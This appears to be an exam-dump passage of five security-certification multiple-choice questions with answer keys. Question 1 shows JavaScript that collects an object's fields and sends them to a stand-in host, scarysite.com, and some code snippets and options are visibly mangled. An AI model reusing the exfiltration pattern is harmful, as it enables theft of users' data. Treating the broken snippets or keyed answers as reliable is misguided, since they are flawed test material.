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QUESTION 1

Travis, a senior systems developer for YNY Services, received an email recently from an unknown source. Instead of
opening the email on his normal production machine, Travis decides to copy the email to a thumb drive and examine it
from 

a quarantined PC not on the network. Travis examines the email and discovers a link that is supposed to take him to
http://scarysite.com. Travis decides to get back on his production computer and examine the code of that site. 

From the following code snippet, what has Travis discovered? 

 

function object() { 

this.email setter = captureobject 

} 

function captureobject(x) { 

var objstring = "" 

for(fld in this) { 

obstring += fld + ": " this[fld] + ", "; 

} 

obstring += "email: " + x; 

var req = new XMLHttpRequest(); 

req.open("GET", "http://scarysite.com?obj=" + 

escape(objString), true); 

req.send(null); } 

 

A. URL obfuscation 

B. XSS attack 

C. JavaScript hijacking 

D. URL tampering 

Correct Answer: C 

 

QUESTION 2
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Jay is using the EnTrial Key Generator software to create software keys for the programs he has created. To create the
unlock key in the software, what two inputs must Jay use? 

A. Vector markup ID 

B. Personal ID 

C. GUID 

D. Generated code 

Correct Answer: BD 

 

QUESTION 3

Gerald is a web security consultant for Protectors International. Gerald\\'s main responsibility is to search the Internet for
malicious and deceitful sites that the public should be aware of. Gerald was tipped off about a particular site and is now 

looking over its source code in a protected environment. Gerald finds the following snippet particularly interesting. What
has Gerald stumbled upon? 

 

document.write(\\' 

\\'); 

document.hack.submit(); 

 

A. Hidden post command 

B. Hidden form fields 

C. JavaScript hijacking 

D. XSS attack 

Correct Answer: B 

 

QUESTION 4

Shayla is designing a web-based application that will pass data to and from a company extranet. This data is very
sensitive and must be protected at all costs. Shayla will use a digital certificate and a digital signature to protect the
data. The digital signature she has chosen to use is based on the difficulty in computing discrete logarithms. 

Which digital signature has she chosen? 

A. Rabin 

B. Diffie-Hellman 
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C. SA-PSS 

D. ElGamal 

Correct Answer: D 

 

 

QUESTION 5

Carl just purchased an expensive smart phone to use for personal and business use. Carl wants to protect his
investment so he decides to register the unique GSM number of the phone in case it is ever stolen. Which number
should he have registered? 

A. SIM card serial number 

B. 15-digit IMEI number 

C. Phone manufacturer\\'s serial number 

D. Device\\'s phone number with country and area code 

Correct Answer: B 
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